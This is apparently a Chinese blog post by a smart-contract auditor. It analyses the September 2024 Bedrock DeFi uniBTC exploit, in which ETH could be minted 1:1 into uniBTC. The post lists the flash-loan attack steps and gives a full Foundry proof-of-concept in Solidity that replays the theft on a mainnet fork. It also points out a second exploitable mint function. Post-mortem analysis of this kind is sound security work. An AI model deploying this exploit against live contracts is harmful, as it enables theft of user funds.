Bedrock_DeFi攻击事件--代码逻辑漏洞

  • 黑梨888
  • 更新于 2024-10-07 17:29
  • 阅读 363

2024年9月26日BedRockDeFi被攻击损失1.7M我对此进行了分析和PoC编写。本次漏洞的本质是逻辑漏洞。

2024年9月26日BedRock DeFi被攻击损失1.7M 我对此进行了分析和PoC编写。本次漏洞的本质是逻辑漏洞。

基本信息

攻击交易 https://app.blocksec.com/explorer/tx/eth/0x725f0d65340c859e0f64e72ca8260220c526c3e0ccde530004160809f6177940?line=18 漏洞代码 https://vscode.blockscan.com/ethereum/0x702696b2aa47fd1d4feaaf03ce273009dc47d901

漏洞代码

本次受到攻击的漏洞特别简单。在bedrock defi的vault.sol代码中有这样一段:

1.png mint代码是外部可调用且可以接受eth转账的函数。他执行逻辑之前只判断当前对NATIVE_BTC是暂停还是开启状态。 然后调用_mint函数,并把msg.value这个值作为参数传入:

2.png 在_mint函数中,_amount值是传入的ETH个数,在第2501行,这个值过经过转换,除以10,000,000,000 再返回给uniBTCAmount。然后合约就给用户铸造uniBTCAmount个uniBTC。 大家发现了吗,这里有非常简单但是严重的漏洞。假设黑客调用mint函数转账ETH:1e18(除去精度,等于1个ETH)给合约,合约经过计算,1e18除以1e10,等于uniBTC:1e8,等于一个uniBTC。也就是转一个eth给合约,可以得到1个uniBTC。 所以黑客利用上述漏洞,利用闪电贷借到30个ETH,然后转给受害合约,得到30个uniBTC,然后把uniBTC拿到uniswap兑换成wbtc,然后再兑换成weth。

攻击步骤

攻击步骤非常简单。

  1. 从balancer闪电贷借出30.8个WETH
  2. 把WETHwithdraw成ETH
  3. 调用uniBTC的mint函数,把30.8个ETH转给受害合约uniBTC,得到30.8个uniBTC。
  4. 把所有uniBTC放到uniswap中,换成WBTC
  5. 把所有WBTC uniswap成WETH。
  6. 还闪电贷。
  7. 彩蛋:最后黑客把赚到的ETH存到aave里去赚利息了,还挺会精打细算过日子。

3.png

PoC

通过模拟黑客的犯罪手法,可获利649个ETH

4.png

pragma solidity ^0.8.13;
import  "forge-std/Test.sol";
import "./interface.sol";
//cast interface --etherscan-api-key NGI4DVW2JA83X4WZICZCB7A1N6UTV5IAGH -c mantle  0xe53a90efd263363993a3b41aa29f7dabde1a932d
contract bedrockAttack is Test {
    address balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
    address payable weth=payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    address uniBTC=0x004E9C3EF86bc1ca1f0bB5C7662861Ee93350568;
    address wbtc=0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
    address payable uniswapRouter=payable(0xE592427A0AEce92De3Edee1F18E0157C05861564);
    address uniBTCProxy=0x047D41F2544B7F63A8e991aF2068a363d210d6Da;
    function setUp() external {
        vm.createSelectFork("https://eth.llamarpc.com", 20836584 - 1);
       deal(address(this), 1e18);
    }
    function testAttack() external{
     console.log("before Attacking: ETH is ",address(this).balance/10**18);
       address[] memory tokens=new address[](1);
       tokens[0]=weth;
       uint256[] memory amounts= new uint256[](1);
       amounts[0]=30800000000000000000;
       IERC20(uniBTC).approve(uniswapRouter,type(uint256).max);
       IERC20(wbtc).approve(uniswapRouter,type(uint256).max);
       iBalancerVault(payable(balancerVault)).flashLoan(address(this),tokens,amounts,"");
       uint256 wethBalance=WETH9(weth).balanceOf(address(this));
       WETH9(weth).withdraw(wethBalance);
       console.log("after Attacking: ETH is ",address(this).balance/10**18);
    }
    function receiveFlashLoan(address[] memory tokens, uint256[] memory  amounts, uint256[] memory feeAmounts,bytes memory userdata) external{
       uint256 wethBalance=WETH9(weth).balanceOf(address(this));
       WETH9(weth).withdraw(wethBalance);
       bedrockInterface(uniBTCProxy).mint{value:wethBalance}();
       ISwapRouter.ExactInputSingleParams memory params1 = ISwapRouter.ExactInputSingleParams(uniBTC,wbtc,500,address(this),block.timestamp,wethBalance,0,0);
        SwapRouter(uniswapRouter).exactInputSingle(params1);
        uint256 wbtcBalance=IERC20(wbtc).balanceOf(address(this));
        ISwapRouter.ExactInputSingleParams memory params2 = ISwapRouter.ExactInputSingleParams(wbtc,weth,500,address(this),block.timestamp,wbtcBalance,0,0);
       SwapRouter(uniswapRouter).exactInputSingle(params2);
       IERC20(weth).transfer(balancerVault,amounts[0]);
    }
    fallback() external payable{  
    }
}
interface bedrockInterface{
    function mint() external payable;
}

彩蛋

除了payable mint()方法,在受害合约中还有一个方法mint(address _token, uint256 _amount) 也可以直接外部调用,并且可以1:1把任意token兑换成BTC,不知道黑客发现这个方法没有,其实利用这个方法实行攻击更简单:

5.png

6.png

点赞 1
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

2 条评论

请先 登录 后评论
黑梨888
黑梨888
web3安全,合约审计。biu~